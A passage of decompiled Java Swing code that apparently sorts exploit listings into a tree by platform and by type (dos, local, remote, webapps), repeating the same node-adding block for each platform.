            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("json")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 24);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("jsp")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 25);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("linux")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 26);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("linux_mips")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 27);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("linux_sparc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 28);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("linux_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 29);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("linux_x86-64")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 30);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("lua")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 31);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("macos")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 32);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("minix")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 33);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("multiple")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 34);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("netbsd_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 35);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("netware")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 36);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("nodejs")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 37);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("novell")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 38);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("openbsd")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 39);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("osx")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 40);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("osx_ppc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 41);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
